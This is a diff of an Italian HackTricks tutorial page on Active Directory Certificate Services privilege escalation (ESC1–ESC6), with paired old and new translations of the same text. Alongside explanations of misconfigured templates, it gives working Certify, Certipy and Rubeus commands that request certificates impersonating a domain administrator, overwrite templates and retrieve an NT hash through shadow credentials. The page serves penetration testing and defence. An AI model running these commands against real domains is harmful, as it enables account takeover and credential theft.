* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
**Questa è una sintesi delle sezioni delle tecniche di escalation degli articoli:**
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**Questo è un riassunto delle sezioni sulle tecniche di escalation dei post:**
|
||||
|
||||
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
|
||||
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
* [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
|
||||
|
@ -25,22 +30,22 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
### Modelli di Certificato Malconfigurati - ESC1 Spiegati
|
||||
|
||||
* **I diritti di iscrizione vengono concessi agli utenti a basso privilegio dall'Enterprise CA.**
|
||||
* **Non è richiesta l'approvazione del responsabile.**
|
||||
* **I diritti di iscrizione vengono concessi a utenti a basso livello di privilegi dall'Enterprise CA.**
|
||||
* **Non è richiesta l'approvazione del manager.**
|
||||
* **Non sono necessarie firme da parte del personale autorizzato.**
|
||||
* **I descrittori di sicurezza sui modelli di certificato sono eccessivamente permissivi, consentendo agli utenti a basso privilegio di ottenere i diritti di iscrizione.**
|
||||
* **I descrittori di sicurezza sui modelli di certificato sono eccessivamente permissivi, consentendo agli utenti a basso livello di privilegi di ottenere i diritti di iscrizione.**
|
||||
* **I modelli di certificato sono configurati per definire EKU che facilitano l'autenticazione:**
|
||||
* Sono inclusi identificatori di utilizzo esteso della chiave (EKU) come l'autenticazione del client (OID 1.3.6.1.5.5.7.3.2), l'autenticazione del client PKINIT (1.3.6.1.5.2.3.4), l'accesso tramite smart card (OID 1.3.6.1.4.1.311.20.2.2), qualsiasi scopo (OID 2.5.29.37.0), o nessun EKU (SubCA).
|
||||
* **È consentito ai richiedenti di includere un subjectAltName nella richiesta di firma del certificato (CSR):**
|
||||
* Active Directory (AD) dà priorità al subjectAltName (SAN) in un certificato per la verifica dell'identità se presente. Ciò significa che specificando il SAN in una CSR, è possibile richiedere un certificato per impersonare qualsiasi utente (ad esempio, un amministratore di dominio). Se un richiedente può specificare un SAN è indicato nell'oggetto AD del modello di certificato tramite la proprietà `mspki-certificate-name-flag`. Questa proprietà è una bitmask e la presenza del flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permette la specifica del SAN da parte del richiedente.
|
||||
* Gli identificatori di Extended Key Usage (EKU) come Autenticazione Client (OID 1.3.6.1.5.5.7.3.2), Autenticazione Client PKINIT (1.3.6.1.5.2.3.4), Accesso Smart Card (OID 1.3.6.1.4.1.311.20.2.2), Qualsiasi Scopo (OID 2.5.29.37.0), o nessun EKU (SubCA) sono inclusi.
|
||||
* **È consentita la possibilità per i richiedenti di includere un subjectAltName nella richiesta di firma del certificato (CSR) tramite il modello:**
|
||||
* L'Active Directory (AD) dà priorità al subjectAltName (SAN) in un certificato per la verifica dell'identità se presente. Ciò significa che specificando il SAN in un CSR, è possibile richiedere un certificato per impersonare qualsiasi utente (ad esempio, un amministratore di dominio). Se il richiedente può specificare un SAN è indicato nell'oggetto AD del modello di certificato attraverso la proprietà `mspki-certificate-name-flag`. Questa proprietà è una bitmask, e la presenza del flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permette al richiedente di specificare il SAN.
|
||||
|
||||
{% hint style="danger" %}
|
||||
La configurazione descritta consente agli utenti a basso privilegio di richiedere certificati con qualsiasi SAN a scelta, consentendo l'autenticazione come qualsiasi principale di dominio tramite Kerberos o SChannel.
|
||||
La configurazione descritta consente agli utenti a basso livello di privilegi di richiedere certificati con qualsiasi SAN a scelta, consentendo l'autenticazione come qualsiasi principale di dominio tramite Kerberos o SChannel.
|
||||
{% endhint %}
|
||||
|
||||
Questa funzionalità è talvolta abilitata per supportare la generazione on-the-fly di certificati HTTPS o di host da parte di prodotti o servizi di distribuzione, o a causa di una mancanza di comprensione.
|
||||
|
||||
Si osserva che la creazione di un certificato con questa opzione genera un avviso, il che non avviene quando viene duplicato un modello di certificato esistente (come il modello `WebServer`, che ha `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato) e quindi modificato per includere un OID di autenticazione.
|
||||
Si nota che la creazione di un certificato con questa opzione attiva un avviso, il che non avviene nel caso in cui un modello di certificato esistente (come il modello `WebServer`, che ha `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato) venga duplicato e quindi modificato per includere un OID di autenticazione.
|
||||
|
||||
### Abuso
|
||||
|
||||
|
@ -49,73 +54,73 @@ Per **trovare modelli di certificato vulnerabili** è possibile eseguire:
|
|||
Certify.exe find /vulnerable
|
||||
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
||||
```
|
||||
Per **sfruttare questa vulnerabilità per impersonare un amministratore**, si potrebbe eseguire:
|
||||
Per **abusare di questa vulnerabilità per impersonare un amministratore** si potrebbe eseguire:
|
||||
```bash
|
||||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
|
||||
```
|
||||
Quindi puoi trasformare il certificato generato nel formato **`.pfx`** e usarlo per **autenticarti nuovamente usando Rubeus o certipy**:
|
||||
Quindi puoi trasformare il **certificato generato in formato `.pfx`** e usarlo per **autenticarti nuovamente utilizzando Rubeus o certipy**:
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
```
|
||||
I binari di Windows "Certreq.exe" e "Certutil.exe" possono essere utilizzati per generare il PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
I binari Windows "Certreq.exe" e "Certutil.exe" possono essere utilizzati per generare il PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
L'enumerazione dei modelli di certificato all'interno dello schema di configurazione della foresta AD, in particolare quelli che non richiedono approvazione o firme, che possiedono un EKU di autenticazione del client o di accesso con smart card e con il flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato, può essere eseguita eseguendo la seguente query LDAP:
|
||||
L'enumerazione dei modelli di certificato all'interno dello schema di configurazione della foresta AD, in particolare quelli che non richiedono approvazione o firme, che possiedono un EKU di autenticazione del client o di accesso con smart card, e con il flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato, può essere eseguita eseguendo la seguente query LDAP:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
## Modelli di certificato mal configurati - ESC2
|
||||
## Modelli di certificati configurati in modo errato - ESC2
|
||||
|
||||
### Spiegazione
|
||||
|
||||
Il secondo scenario di abuso è una variante del primo:
|
||||
Il secondo scenario di abuso è una variazione del primo:
|
||||
|
||||
1. I diritti di registrazione vengono concessi agli utenti a bassi privilegi dall'Enterprise CA.
|
||||
2. Viene disabilitato il requisito di approvazione del responsabile.
|
||||
3. Viene omessa la necessità di firme autorizzate.
|
||||
4. Un descrittore di sicurezza eccessivamente permessivo sul modello di certificato concede aiutomaticamente i diritti di registrazione del certificato agli utenti a bassi privilegi.
|
||||
5. **Il modello di certificato è definito per includere l'EKU di qualsiasi scopo o nessuna EKU.**
|
||||
1. I diritti di registrazione sono concessi agli utenti a basso privilegio dall'Enterprise CA.
|
||||
2. Il requisito di approvazione del manager è disabilitato.
|
||||
3. Non viene richiesta la firma autorizzata.
|
||||
4. Un descrittore di sicurezza eccessivamente permessivo sul modello di certificato concede i diritti di registrazione del certificato agli utenti a basso privilegio.
|
||||
5. **Il modello di certificato è definito per includere l'EKU di qualsiasi scopo o nessun EKU.**
|
||||
|
||||
L'**EKU di qualsiasi scopo** permette di ottenere un certificato per **qualsiasi scopo**, inclusa l'autenticazione del client, l'autenticazione del server, la firma del codice, ecc. La stessa **tecnica utilizzata per ESC3** può essere impiegata per sfruttare questo scenario.
|
||||
|
||||
I certificati **senza EKU**, che agiscono come certificati di CA subordinati, possono essere sfruttati per **qualsiasi scopo** e possono **anche essere utilizzati per firmare nuovi certificati**. Pertanto, un attaccante potrebbe specificare EKU o campi arbitrari nei nuovi certificati utilizzando un certificato di CA subordinato.
|
||||
I certificati **senza EKU**, che agiscono come certificati CA subordinate, possono essere sfruttati per **qualsiasi scopo** e possono **anche essere utilizzati per firmare nuovi certificati**. Di conseguenza, un attaccante potrebbe specificare EKU o campi arbitrari nei nuovi certificati utilizzando un certificato CA subordinato.
|
||||
|
||||
Tuttavia, i nuovi certificati creati per **l'autenticazione di dominio** non funzioneranno se il certificato di CA subordinato non è affidato all'oggetto **`NTAuthCertificates`**, che è l'impostazione predefinita. Tuttavia, un attaccante può comunque creare **nuovi certificati con qualsiasi EKU** e valori di certificato arbitrari. Questi potrebbero essere potenzialmente **sfruttati** per una vasta gamma di scopi (ad esempio, firma del codice, autenticazione del server, ecc.) e potrebbero avere implicazioni significative per altre applicazioni nella rete come SAML, AD FS o IPSec.
|
||||
Tuttavia, i nuovi certificati creati per **l'autenticazione del dominio** non funzioneranno se la CA subordinata non è fidata dall'oggetto **`NTAuthCertificates`**, che è l'impostazione predefinita. Tuttavia, un attaccante può comunque creare **nuovi certificati con qualsiasi EKU** e valori di certificato arbitrari. Questi potrebbero essere potenzialmente **abusati** per una vasta gamma di scopi (ad esempio, la firma del codice, l'autenticazione del server, ecc.) e potrebbero avere implicazioni significative per altre applicazioni nella rete come SAML, AD FS o IPSec.
|
||||
|
||||
Per enumerare i modelli che corrispondono a questo scenario all'interno dello schema di configurazione della foresta AD, è possibile eseguire la seguente query LDAP:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
||||
```
|
||||
## Modelli di agente di registrazione non configurati correttamente - ESC3
|
||||
## Modelli di agente di registrazione mal configurati - ESC3
|
||||
|
||||
### Spiegazione
|
||||
|
||||
Questo scenario è simile al primo e al secondo, ma **sfrutta** un **EKU diverso** (Certificate Request Agent) e **2 modelli diversi** (quindi ha 2 set di requisiti).
|
||||
Questo scenario è simile al primo e al secondo, ma **abusa** di un **EKU diverso** (Agente di Richiesta di Certificato) e **2 modelli diversi** (quindi ha 2 insiemi di requisiti),
|
||||
|
||||
L'EKU dell'agente di richiesta di certificato (OID 1.3.6.1.4.1.311.20.2.1), noto come **Enrollment Agent** nella documentazione di Microsoft, consente a un principale di **registrarsi** per un **certificato** **per conto di un altro utente**.
|
||||
L'**EKU dell'Agente di Richiesta di Certificato** (OID 1.3.6.1.4.1.311.20.2.1), noto come **Agente di Registrazione** nella documentazione di Microsoft, consente a un principale di **registrarsi** per un **certificato** **per conto di un altro utente**.
|
||||
|
||||
L'**"agente di registrazione"** si registra in un tale **modello** e utilizza il certificato risultante per **firmare congiuntamente una CSR per conto dell'altro utente**. Quindi **invia** la **CSR firmata congiuntamente** all'AC, registrandosi in un **modello** che **consente "la registrazione per conto di"**, e l'AC risponde con un **certificato appartenente all'"altro" utente**.
|
||||
L'**"agente di registrazione"** si registra in un tale **modello** e utilizza il certificato risultante per firmare congiuntamente una CSR per conto dell'altro utente. Invia quindi la CSR firmata congiuntamente alla CA, registrandosi in un **modello** che **consente "registrazioni per conto di"**, e la CA risponde con un **certificato appartenente all'utente "altro"**.
|
||||
|
||||
**Requisiti 1:**
|
||||
|
||||
- I diritti di registrazione sono concessi agli utenti a bassi privilegi dall'AC aziendale.
|
||||
- L'approvazione del responsabile è omessa.
|
||||
- Nessun requisito per firme autorizzate.
|
||||
- Il descrittore di sicurezza del modello di certificato è eccessivamente permessivo, concedendo i diritti di registrazione agli utenti a bassi privilegi.
|
||||
- Il modello di certificato include l'EKU dell'agente di richiesta di certificato, consentendo la richiesta di altri modelli di certificato per conto di altri principali.
|
||||
* I diritti di registrazione sono concessi a utenti a basso livello privilegiato dall'Enterprise CA.
|
||||
* L'approvazione del manager è omessa.
|
||||
* Nessun requisito per firme autorizzate.
|
||||
* Il descrittore di sicurezza del modello di certificato è eccessivamente permissivo, concedendo diritti di registrazione a utenti a basso livello privilegiato.
|
||||
* Il modello di certificato include l'EKU dell'Agente di Richiesta di Certificato, abilitando la richiesta di altri modelli di certificato per conto di altri principali.
|
||||
|
||||
**Requisiti 2:**
|
||||
|
||||
- L'AC aziendale concede i diritti di registrazione agli utenti a bassi privilegi.
|
||||
- Viene bypassata l'approvazione del responsabile.
|
||||
- La versione dello schema del modello è 1 o superiore a 2 e specifica un requisito di rilascio della politica dell'applicazione che richiede l'EKU dell'agente di richiesta di certificato.
|
||||
- Un EKU definito nel modello di certificato consente l'autenticazione di dominio.
|
||||
- Le restrizioni per gli agenti di registrazione non vengono applicate all'AC.
|
||||
* L'Enterprise CA concede diritti di registrazione a utenti a basso livello privilegiato.
|
||||
* L'approvazione del manager viene bypassata.
|
||||
* La versione dello schema del modello è 1 o superiore a 2, e specifica un Requisito di Emissione della Policy dell'Applicazione che richiede l'EKU dell'Agente di Richiesta di Certificato.
|
||||
* Un EKU definito nel modello di certificato consente l'autenticazione di dominio.
|
||||
* Le restrizioni per gli agenti di registrazione non vengono applicate sulla CA.
|
||||
|
||||
### Abuso
|
||||
|
||||
Puoi utilizzare [**Certify**](https://github.com/GhostPack/Certify) o [**Certipy**](https://github.com/ly4k/Certipy) per sfruttare questo scenario:
|
||||
Puoi utilizzare [**Certify**](https://github.com/GhostPack/Certify) o [**Certipy**](https://github.com/ly4k/Certipy) per abusare di questo scenario:
|
||||
```bash
|
||||
# Request an enrollment agent certificate
|
||||
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
|
||||
|
@ -129,35 +134,35 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
|||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
Gli **utenti** che sono autorizzati a **ottenere** un **certificato di agente di registrazione**, i modelli in cui gli **agenti di registrazione** sono autorizzati a registrarsi e gli **account** per conto dei quali l'agente di registrazione può agire possono essere limitati dalle CA aziendali. Ciò viene realizzato aprendo il **snap-in** `certsrc.msc`, **facendo clic con il pulsante destro del mouse sulla CA**, **cliccando su Proprietà** e quindi **passando** alla scheda "Agenti di registrazione".
|
||||
Gli **utenti** che sono autorizzati a **ottenere** un **certificato di agente di registrazione**, i modelli nei quali gli **agenti di registrazione** sono autorizzati ad iscriversi e gli **account** per conto dei quali l'agente di registrazione può agire possono essere vincolati dalle CA aziendali. Ciò viene realizzato aprendo il `certsrc.msc` **snap-in**, facendo **clic con il pulsante destro del mouse sulla CA**, **cliccando su Proprietà**, e quindi **navigando** nella scheda "Agenti di iscrizione".
|
||||
|
||||
Tuttavia, si nota che l'impostazione **predefinita** per le CA è "Non limitare gli agenti di registrazione". Quando la restrizione sugli agenti di registrazione viene abilitata dagli amministratori, impostandola su "Limita gli agenti di registrazione", la configurazione predefinita rimane estremamente permissiva. Consente a **Tutti** l'accesso per registrarsi in tutti i modelli come chiunque.
|
||||
Tuttavia, si nota che l'impostazione **predefinita** per le CA è "Non limitare gli agenti di iscrizione". Quando l'amministratore abilita la restrizione sugli agenti di iscrizione, impostandola su "Limita gli agenti di iscrizione", la configurazione predefinita rimane estremamente permissiva. Consente a **Tutti** l'accesso per iscriversi in tutti i modelli come chiunque.
|
||||
|
||||
## Controllo degli accessi vulnerabili ai modelli di certificato - ESC4
|
||||
## Controllo degli Accessi Vulnerabili ai Modelli di Certificato - ESC4
|
||||
|
||||
### **Spiegazione**
|
||||
|
||||
Il **descrittore di sicurezza** sui **modelli di certificato** definisce i **permessi** specifici che le **principali AD** possiedono riguardo al modello.
|
||||
Il **descrittore di sicurezza** sui **modelli di certificato** definisce i **permessi** specifici che i **principali AD** possiedono riguardo al modello.
|
||||
|
||||
Se un **attaccante** possiede i **permessi** necessari per **modificare** un **modello** e **istituire** eventuali **mancate configurazioni** sfruttabili descritte nelle **sezioni precedenti**, potrebbe facilitare l'escalation dei privilegi.
|
||||
Se un **attaccante** possiede i **permessi** necessari per **modificare** un **modello** e **istituire** eventuali **misconfigurazioni sfruttabili** descritte nelle **sezioni precedenti**, potrebbe facilitare l'escalation dei privilegi.
|
||||
|
||||
I permessi rilevanti applicabili ai modelli di certificato includono:
|
||||
|
||||
- **Proprietario:** Concede il controllo implicito sull'oggetto, consentendo la modifica di qualsiasi attributo.
|
||||
- **Controllo completo:** Abilita l'autorità completa sull'oggetto, compresa la capacità di modificare qualsiasi attributo.
|
||||
- **Scrivi proprietario:** Consente la modifica del proprietario dell'oggetto a un principale sotto il controllo dell'attaccante.
|
||||
- **Scrivi Dacl:** Consente l'aggiustamento dei controlli di accesso, potenzialmente concedendo all'attaccante il controllo completo.
|
||||
- **Scrivi proprietà:** Autorizza la modifica di qualsiasi proprietà dell'oggetto.
|
||||
* **Proprietario:** Concede il controllo implicito sull'oggetto, consentendo la modifica di qualsiasi attributo.
|
||||
* **ControlloCompleto:** Abilita l'autorità completa sull'oggetto, compresa la capacità di modificare qualsiasi attributo.
|
||||
* **ScriviProprietario:** Consente la modifica del proprietario dell'oggetto a un principale sotto il controllo dell'attaccante.
|
||||
* **ScriviDacl:** Consente l'aggiustamento dei controlli di accesso, potenzialmente concedendo all'attaccante il ControlloCompleto.
|
||||
* **ScriviProprietà:** Autorizza la modifica di qualsiasi proprietà dell'oggetto.
|
||||
|
||||
### Abuso
|
||||
|
||||
Un esempio di privesc come quello precedente:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (811).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ESC4 si verifica quando un utente ha privilegi di scrittura su un modello di certificato. Questo può essere sfruttato, ad esempio, per sovrascrivere la configurazione del modello di certificato per renderlo vulnerabile a ESC1.
|
||||
ESC4 è quando un utente ha privilegi di scrittura su un modello di certificato. Questo può ad esempio essere sfruttato per sovrascrivere la configurazione del modello di certificato per renderlo vulnerabile a ESC1.
|
||||
|
||||
Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo collegamento `AddKeyCredentialLink` a `JOHNPC`. Poiché questa tecnica è correlata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco un piccolo anteprima del comando `shadow auto` di Certipy per recuperare l'hash NT della vittima.
|
||||
Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo collegamento `AddKeyCredentialLink` a `JOHNPC`. Poiché questa tecnica è legata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco un piccolo anteprima del comando `shadow auto` di Certipy per recuperare l'hash NT della vittima.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
|
@ -172,25 +177,25 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
|
|||
# Restore config
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
||||
```
|
||||
## Controllo degli accessi agli oggetti PKI vulnerabili - ESC5
|
||||
## Controllo dell'Accesso agli Oggetti PKI Vulnerabili - ESC5
|
||||
|
||||
### Spiegazione
|
||||
|
||||
La vasta rete di relazioni basate su ACL, che include diversi oggetti oltre ai modelli di certificato e all'autorità di certificazione, può influire sulla sicurezza dell'intero sistema AD CS. Questi oggetti, che possono influire significativamente sulla sicurezza, comprendono:
|
||||
La vasta rete di relazioni basate su ACL, che include diversi oggetti oltre ai modelli di certificati e all'autorità di certificazione, può influenzare la sicurezza dell'intero sistema AD CS. Questi oggetti, che possono influenzare significativamente la sicurezza, includono:
|
||||
|
||||
* L'oggetto computer AD del server CA, che può essere compromesso attraverso meccanismi come S4U2Self o S4U2Proxy.
|
||||
* Il server RPC/DCOM del server CA.
|
||||
* Qualsiasi oggetto o contenitore AD discendente all'interno del percorso specifico `CN=Servizi chiave pubbliche,CN=Servizi,CN=Configurazione,DC=<DOMINIO>,DC=<COM>`. Questo percorso include, ma non si limita a, contenitori e oggetti come il contenitore dei modelli di certificato, il contenitore delle autorità di certificazione, l'oggetto NTAuthCertificates e il contenitore dei servizi di registrazione.
|
||||
- L'oggetto computer AD del server CA, che potrebbe essere compromesso attraverso meccanismi come S4U2Self o S4U2Proxy.
|
||||
- Il server RPC/DCOM del server CA.
|
||||
- Qualsiasi oggetto o contenitore AD discendente all'interno del percorso del contenitore specifico `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Questo percorso include, ma non si limita a, contenitori e oggetti come il contenitore dei modelli di certificati, il contenitore delle autorità di certificazione, l'oggetto NTAuthCertificates e il contenitore dei servizi di iscrizione.
|
||||
|
||||
La sicurezza del sistema PKI può essere compromessa se un attaccante con privilegi limitati riesce a ottenere il controllo su uno di questi componenti critici.
|
||||
La sicurezza del sistema PKI può essere compromessa se un attaccante a basso livello riesce a ottenere il controllo su uno di questi componenti critici.
|
||||
|
||||
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
|
||||
|
||||
### Spiegazione
|
||||
|
||||
L'argomento discusso nel [**post di CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) riguarda anche le implicazioni del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, come descritto da Microsoft. Questa configurazione, quando attivata su un'autorità di certificazione (CA), consente l'inclusione di **valori definiti dall'utente** nel **nome alternativo del soggetto** per **qualsiasi richiesta**, inclusa quella costruita da Active Directory®. Di conseguenza, questa disposizione consente a un **intruso** di iscriversi tramite **qualsiasi modello** configurato per l'**autenticazione** di dominio, in particolare quelli aperti all'iscrizione di utenti **senza privilegi**, come il modello Utente standard. Di conseguenza, è possibile ottenere un certificato che consente all'intruso di autenticarsi come amministratore di dominio o **qualsiasi altra entità attiva** all'interno del dominio.
|
||||
L'argomento discusso nel [**post di CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) tratta anche le implicazioni del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, come delineato da Microsoft. Questa configurazione, quando attivata su un'Authority di Certificazione (CA), consente l'inclusione di **valori definiti dall'utente** nel **nome alternativo del soggetto** per **qualsiasi richiesta**, comprese quelle costruite da Active Directory®. Di conseguenza, questa disposizione consente a un **intruso** di iscriversi attraverso **qualsiasi modello** impostato per l'autenticazione di dominio, in particolare quelli aperti all'iscrizione di utenti **non privilegiati**, come il modello Utente standard. Di conseguenza, un certificato può essere protetto, consentendo all'intruso di autenticarsi come amministratore di dominio o **qualsiasi altra entità attiva** all'interno del dominio.
|
||||
|
||||
**Nota**: L'approccio per aggiungere **nomi alternativi** a una richiesta di firma del certificato (CSR), tramite l'argomento `-attrib "SAN:"` in `certreq.exe` (chiamato "Coppie nome-valore"), presenta una **differenza** rispetto alla strategia di sfruttamento dei SAN in ESC1. Qui, la differenza sta in **come le informazioni dell'account sono incapsulate** - all'interno di un attributo del certificato, anziché di un'estensione.
|
||||
**Nota**: L'approccio per aggiungere **nomi alternativi** in una Richiesta di Firma del Certificato (CSR), attraverso l'argomento `-attrib "SAN:"` in `certreq.exe` (chiamato "Coppie Nome Valore"), presenta un **contrasto** rispetto alla strategia di sfruttamento dei SAN in ESC1. Qui, la distinzione risiede in **come le informazioni dell'account sono incapsulate** - all'interno di un attributo del certificato, piuttosto che in un'estensione.
|
||||
|
||||
### Abuso
|
||||
|
||||
|
@ -198,11 +203,11 @@ Per verificare se l'impostazione è attivata, le organizzazioni possono utilizza
|
|||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
||||
```
|
||||
Questa operazione utilizza essenzialmente l'**accesso remoto al registro di sistema**, pertanto, un approccio alternativo potrebbe essere:
|
||||
Questa operazione impiega essenzialmente **l'accesso al registro remoto**, quindi un approccio alternativo potrebbe essere:
|
||||
```bash
|
||||
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
||||
```
|
||||
Strumenti come [**Certify**](https://github.com/GhostPack/Certify) e [**Certipy**](https://github.com/ly4k/Certipy) sono in grado di rilevare questa errata configurazione e sfruttarla:
|
||||
Strumenti come [**Certify**](https://github.com/GhostPack/Certify) e [**Certipy**](https://github.com/ly4k/Certipy) sono in grado di rilevare questa errata configurazione ed sfruttarla:
|
||||
```bash
|
||||
# Detect vulnerabilities, including this one
|
||||
Certify.exe find
|
||||
|
@ -211,7 +216,7 @@ Certify.exe find
|
|||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
||||
```
|
||||
Per modificare queste impostazioni, assumendo di possedere i diritti di amministratore di dominio o equivalenti, è possibile eseguire il seguente comando da qualsiasi postazione di lavoro:
|
||||
Per modificare queste impostazioni, assumendo di possedere i diritti amministrativi di dominio o equivalenti, il comando seguente può essere eseguito da qualsiasi postazione di lavoro:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
|
@ -220,31 +225,31 @@ Per disabilitare questa configurazione nel tuo ambiente, il flag può essere rim
|
|||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Dopo gli aggiornamenti di sicurezza di maggio 2022, i certificati appena emessi conterranno un'estensione di sicurezza che incorpora la proprietà `objectSid` del richiedente. Per ESC1, questo SID è derivato dal SAN specificato. Tuttavia, per ESC6, il SID riflette l'`objectSid` del richiedente, non il SAN.\
|
||||
Per sfruttare ESC6, è essenziale che il sistema sia suscettibile a ESC10 (Mappature deboli dei certificati), che dà priorità al SAN rispetto alla nuova estensione di sicurezza.
|
||||
Dopo gli aggiornamenti di sicurezza di maggio 2022, i **certificati** appena emessi conterranno un'estensione di **sicurezza** che incorpora la **proprietà `objectSid` del richiedente**. Per ESC1, questo SID è derivato dal SAN specificato. Tuttavia, per **ESC6**, il SID riflette l'`objectSid` del richiedente, non il SAN.\
|
||||
Per sfruttare ESC6, è essenziale che il sistema sia suscettibile a ESC10 (Mappature di certificati deboli), che dà priorità al **SAN rispetto alla nuova estensione di sicurezza**.
|
||||
{% endhint %}
|
